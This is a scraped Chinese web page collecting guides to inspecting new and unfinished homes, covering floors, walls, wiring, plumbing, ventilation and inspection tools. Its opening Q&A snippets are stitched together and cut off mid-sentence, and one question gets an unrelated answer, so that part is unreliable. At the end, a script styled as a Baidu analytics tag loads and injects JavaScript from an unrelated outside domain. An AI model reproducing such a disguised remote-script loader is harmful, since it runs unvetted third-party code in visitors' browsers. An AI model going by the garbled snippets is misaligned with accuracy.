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贺华婉
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问有谁了解新房验房攻略?
答 1.楼地面是否平整 想查看楼地面是否平整,只需要要用长尺(或者带有水平的专用直尺),靠墙壁地面,检查是否平整,同时观察是否有划痕裂纹,墙面是否有爆点
问新房验房攻略谁可以告诉我
答其实现在绝大部分新房都是毛胚房呢,只有很少一部分是精装房!~所以很多人都会比较重视验房这块呢!~可以自己按照方法去验房!~如果觉得自己不够专业,可以请验房师
问按揭买房攻略谁能给我一份?有哪位高手晓得?
答谁能给我一份15万家庭装修预算清单:1.地板:60元/
问求份精装修验房攻略
答验房程序:查看两书一表一数:房屋质量保证书;房屋使用说明书;竣工验收备案表;面积实测数据对照购房合同上的面积(自己可实测套内面积)。《住宅工程质量分户验收管
问精装验房攻略哪位手上有?
答 一、检查厨房烟道 用纸卷点火后灭火冒烟,放在烟道口下方10厘米左右,看烟是否上升到烟道口就立刻拐弯被吸走。 二、检查卫生间通风 应在吊顶下留通
毛胚房验收标准有哪些
买房后的验房是一个非常重要的流程,购买毛坯房也是一样,但很多人都不知道毛坯房的验收标准和要点是什么。所以,接下来给大家从各方面介绍一下毛胚房验收标准。1、水电验收水电是装修中的一个隐蔽项目,但它也是关键点。因此,必须严格按照毛胚房验收标准仔细检查和接受。通常所有接头在缠绕导线后必须缠绕5-8圈。电路完成后,绝缘电阻测试必须大于0.5兆欧,开关应为15厘米,灯头应为40厘米(根据实际的管线接收)。应测试冷热水的水流量,单面墙上线盒的距离和高度应保持一致。2、墙和地板工程验收毛胚房验收标准包括墙面和地砖,表面不能明显交错,你不能使用破碎的砖块。墙壁和地板接缝不应超过3毫米。单壁墙壁不允许有多个空鼓。橱柜,水槽,浴缸等应注意墙角的角落。关节应该是均匀的,角落处应该没有堆积。应该发现厨房浴室地砖有一个不允许淹没的斜坡,浴室的坡度是千分之五。3、木基验收首先使用的最常见的天花板是轻钢龙骨和当地木龙骨。木龙骨在使用前必须涂上防火涂料。主龙骨相距80厘米,次龙骨40厘米。吊肋应尽可能保持垂直,倾斜度不应超过1cm。吊肋应牢固安装,与龙骨的接触应紧密牢固,不应松动。底座的高度应保持一致,房间的中间应正确拱起。机柜合理划分,满足客户要求。机柜的接头紧密不应超过1毫米。接头应牢固粘合,不应有分层。毛胚房验收标准面板不应有明显的损坏和钉孔,线路闭合应光滑,与面板一致,超宽线原则上不得拼接。4、乳胶漆验收在阴阳角处没有明显的弯曲。毛胚房验收标准从墙面50cm处看不到阴影,没有沙眼,没有墙面。刷子的颜色是均匀的,允许轻微的流出物或咬合,并有少量轻微的下垂到眼睛。白色珐琅漆需要刮去基层。毛胚房验收标准有以上三步,买了房子拿到房间钥匙固然开心,一般业主从开发商那里买的房子都是毛胚房,除了门框就什么都没有了,很多业主以为这样的房子就不需要验收,其实毛胚房也是需要验收的,如果发生质量问题,及时和开发商进行沟通。
收房验房攻略
很多业主收房后,不知道房子质量是否过关,找专业人员验房,不仅收费不低,而且“专家们”的水平良莠不齐。所以今天小编给大家介绍验收新房的几大要点:01收房前的准备工作业主在收房前最好是参加小区的业主论坛,看看其它业主指出新房中存在的一些问题;如果你不喜欢上网,那一定要在收房前多到物业处走走,和同小区业主多多交流,听听他们指出的房子问题,这样你在收房时就要注意看自家是否存在这些问题。如果可以,业主们最好不要在第一天就去收房,可在别的业主收房后,先向这些已经收房的业主打听开发商所设定的收房流程,想好应对之策再前往,如果可能,业主可以参加集体收房,这样利益可以得到更好的维护。02收房的最佳时机最佳的收房时机就是在刚下过雨之后去验收,这时如果房屋有渗水的情况,业主就能看出来,如果存在这种现象,业主就可要求开发商立即进行整改。03收房要准备的工具1只塑料洗脸盆--用于验收下水管道(水量一定要大)1只小榔头--用于验收房子墙体与地面是否空鼓1只塞尺--用于测裂缝的宽度1只5米卷尺--用于测量房子的净高(主要是收房时用)1只万用表---用于测试各个强电插座及弱电类是否畅通1只计算器---用于计算数据1只水笔--用于签字1把扫帚--用于打扫室内卫生1只小凳子和一些报纸、塑料带、包装绳--用于时间长,可休息一下及预先封闭下水管道。小提示:正常验收房子时间一般是持续2-3个钟头04各种房屋不同的收房标准简装房一般是指房子的厨房和卫生间进行了最基本的装修,配置了最基础的设备,屋内其它房间的三面(地面、墙面,顶面)未装修,房间内配置了室内门和简单的灯具。购买这样的房,如果你没有特殊的需求,基本上厨房、卫生间就不用装修了,水电路也不用再进行改造。如果业主购买的是这样的房子,那就要对房屋的厨房、卫生间和水电改造进行仔细的检查。精装房一般是指对房子进行了正常所需的所有装修,并且配备了应该有的所有设备和家具,从理论上讲,你可以提包入住。但首先大家对精装的“精”的理解不一样,而且装修是萝卜青菜各有所爱,由开发商统一完成的装修,很难让每个人喜欢,加上开发商装修可能存在的一些劣质工程,所以,购买精装修房,很可能你还需要进行拆除后重新装修的工作。所以购买精装修房的业主在收房时就要更加严格,对房屋所有的家具、隐蔽工程和墙顶地面装修等都要认真查看。毛坯房就是内部没有任何装修的房子,购买这种房子的业主在收房时就要注重看墙面、地面和顶面是否找平,卫生间的防水是否做到位等等。05收房时的注意事项收房时业主们需要特别关注的是房间的电路情况,要注意检查开发商预留的电话插座、网线插座内有没有模块和引线,有的房屋开发商预留的电话插座里面只有一根钢丝,业主需自己引线,这些业主们都要事先检查清楚并记下来,好提前做好装修准备;如果是精装房,业主们就需检查看开发商预埋的电线质量是否合格,以及施工是否到位,如看埋在墙里的电线是否穿管,每根电线是否能抽动等等,总之来讲,电路情况是业主在收房时要特别仔细检查的项目。土巴兔祝您装修顺利关于我们土巴兔,中国第一装修门户,一站式解决您的装修难题。截止目前,平台汇聚100万设计师、8万装修公司,业务覆盖250个城市,已为1800万业主服务。
毛胚房验房标准是什么 包括哪些方面
有的人认为,没有装修过的毛胚房不用验收,直接交房即可。这种做法是非常不可取的,毛胚房质量的好坏关系到之后的装修效果,涉及到的是整体结构和基本施工项目,所以毛胚房的验收尤为重要。那么毛胚房验房标准是什么,包括哪些方面?主要有门窗、墙体地面、电路、水管、通风等,下面具体介绍各自的验收标准。一、检查门窗在毛胚房验房标准中,门窗的检查容易被人忽略,而这又是基本的安全问题。首先看一下门外观是否有裂缝,门框的位置是否竖直。检查窗子安装是否牢固、平整,表面有无刮痕。当场开关门窗测试一下,是否顺畅,确保日常使用。二、检查墙体地面检查室内的墙面和地面是否平整、有无空鼓,如果有这样的现象,会间接的影响到房屋的结构稳定问题,后期维修麻烦。比如说卫生间的墙面不符合毛胚房验房标准,存在空鼓现象,在如此潮湿的环境中,铺设的瓷砖特别容易脱落,造成生活困扰。三、检查电路电路安全一定要重视,在毛胚房验房标准中,电路的布局、施工都要符合相应的规定。检测室内的每个房间通电问题,安装的灯泡、插座能否正常使用。四、检查水管厨房和卫生间是水管线道密集的地方,全面检查每一条水管,确保通畅、没有阻碍。同时做好防水工程,地漏正常。在毛胚房验房标准中,进行闭水试验来测试一下,毕竟隐蔽工程的问题不容易发现。五、检查通风情况房子里的通风条件影响到室内空气质量,要是通风不及时,室内的油烟之类的气味排不出去,室内整体环境都有干扰。在毛胚房验房标准中,一定不能漏掉排风口、烟道等地方,确保空气良好流通。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
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